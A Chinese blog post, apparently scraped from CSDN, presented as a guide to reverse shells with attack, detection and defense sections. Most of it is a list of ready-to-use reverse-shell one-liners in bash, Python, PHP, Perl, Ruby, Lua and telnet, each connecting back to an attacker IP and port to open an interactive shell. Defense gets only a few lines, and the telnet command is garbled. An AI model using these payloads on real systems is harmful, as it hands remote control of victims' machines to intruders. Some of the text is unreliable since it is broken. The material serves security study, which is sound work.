网络安全|网络安全-反弹shell详解(攻击,检测与防御)

目录
简介
原理
反弹shell
bash
nc
python
php
perl
ruby
【网络安全|网络安全-反弹shell详解(攻击,检测与防御)】lua
telnet
检测
防御
参考
简介 如果我们需要到服务器上执行 Shell 命令,但是因为防火墙等原因,无法由客户端主动发起连接的情况,就可以使用反弹 Shell 来满足登陆和操作的需求。
原理 操作受害者机器,将某开放端口的数据发送到可执行命令的程序上,将结果返回给攻击机。攻击机发送向受害者开放端口发送命令,接收命令执行结果。
反弹shell bash

bash -i >& /dev/tcp/ip/port 0>&1

0:标准输入;1:标准输出;2:标准错误。
bash -i:产生一个交互式环境
>&:将标准输出和标准错误结合,一起重定向给后者
/dev/tcp/ip/port:建立一个tcp连接
0>&1:将标准输入重定向到标准输出
nc Linux命令-nc(端口监控、文件传输、反弹shell等)_lady_killer9的博客-CSDN博客
python
python -c "import os,socket,subprocess; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(('ip',port)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(['/bin/bash','-i']); "

python -c command
将字符串当做python代码执行
网络安全|网络安全-反弹shell详解(攻击,检测与防御)
文章图片

同理,上面也是利用bash进行的反弹
php
php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.0.4/7777")'

perl
perl -MIO -e '$p=fork; exit,if($p); $c=new IO::Socket::INET(PeerAddr,"attackerip:4444"); STDIN->fdopen($c,r); $~->fdopen($c,w); system$_ while<>; '

ruby
ruby -rsocket -e'f=TCPSocket.open("接收端ip",端口).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

lua
lua -e "require('socket'); require('os'); t=socket.tcp(); t:connect('10.0.0.1','1234'); os.execute('/bin/sh -i <&3 >&3 2>&3'); "

telnet
mknod a p; telnet 接收端IP 端口 0a

Windows平台,可以使用powercatreverseudpshellicmpsh
检测 及时发现Bash进程启动事件
检查Bash进程是否打开了终端设备,是否有主动对外连接
防御 防火墙限制
Netlink监听,kill进程(详见腾讯云参考)
参考 ??????基于主机的反弹shell检测思路 - 哔哩哔哩
常用的反弹shell总结_西部壮仔的博客-CSDN博客_反弹shell能干嘛
自动化反弹Shell防御技术 - 云+社区 - 腾讯云

    推荐阅读